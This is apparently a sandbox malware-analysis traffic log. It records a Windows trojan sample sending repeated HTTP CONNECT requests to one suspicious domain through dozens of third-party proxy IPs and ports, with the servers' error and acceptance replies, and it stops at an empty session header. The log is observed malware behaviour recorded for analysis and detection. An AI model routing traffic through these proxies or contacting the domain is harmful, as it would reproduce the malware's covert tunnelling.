Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.8	51131	104.16.105.207	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.066973925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.154897928 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.8	51060	5.42.74.179	36457	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.072712898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.8	51087	122.116.150.2	9000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.072916031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.8	50470	98.162.25.23	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.089725018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.8	50431	88.199.164.140	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.089963913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.909157991 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.8	50398	188.132.221.169	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.093693972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.194982052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.288971901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.8	50491	161.97.173.42	53948	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.103199959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.194907904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.288923025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.398144960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.8	51113	194.35.118.243	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.109066010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.616651058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.352921009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.585796118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.992077112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.491872072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.898252010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.753319979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:22.169137001 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.8	51148	104.21.194.19	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.124756098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.213046074 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.8	51079	120.37.121.209	9091	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.126030922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.495315075 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Fri, 23 Feb 2024 13:28:36 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.8	50299	103.144.18.137	2002	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.130215883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.194905043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.8	51163	203.30.188.247	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.151015997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.237993002 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.8	51115	43.153.133.208	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.171971083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.8	51091	139.99.148.90	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.172528028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.537292957 CET	536	IN	HTTP/1.1 407 Proxy Authentication Required Server: squid/3.5.20 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3640 X-Squid-Error: ERR_CACHE_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en Proxy-Authenticate: Basic realm="Squid Basic Authentication" X-Cache: MISS from ns547184.ip-139-99-148.net X-Cache-Lookup: NONE from ns547184.ip-139-99-148.net:3128 Via: 1.1 ns547184.ip-139-99-148.net (squid/3.5.20) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f Data Ascii: <!DOCTYPE html PUBLIC "-/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.8	50583	37.252.13.248	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.175795078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.194926977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.288923025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.398144960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.8	51017	154.223.20.21	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.192702055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.352807999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.194958925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.527616978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.192281961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.855026960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.8	51150	184.178.172.5	15303	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.195913076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.8	51135	45.11.95.165	5032	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.197824955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.8	51176	104.17.171.235	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.198909044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.286958933 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.8	51153	82.113.157.122	31280	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.201530933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.8	51179	104.21.80.83	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.202636957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.290200949 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.8	51177	152.32.238.63	38080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.203435898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.8	51140	212.127.93.185	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.218163967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.8	50354	103.221.228.50	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.218368053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.288592100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.382550955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.382644892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.8	51143	164.163.21.14	8291	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.224100113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.8	51164	184.181.217.220	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.225826979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.8	51151	95.43.244.15	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.243483067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.8	51198	92.204.134.38	54467	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.246562958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.8	51105	27.65.30.37	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.251957893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.8	51205	104.24.220.52	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.252526045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.340079069 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.8	50485	103.160.75.174	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.254209995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.288620949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.382550001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.382641077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.8	51126	101.231.64.89	8443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.269975901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.8	51147	85.12.214.148	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.274249077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
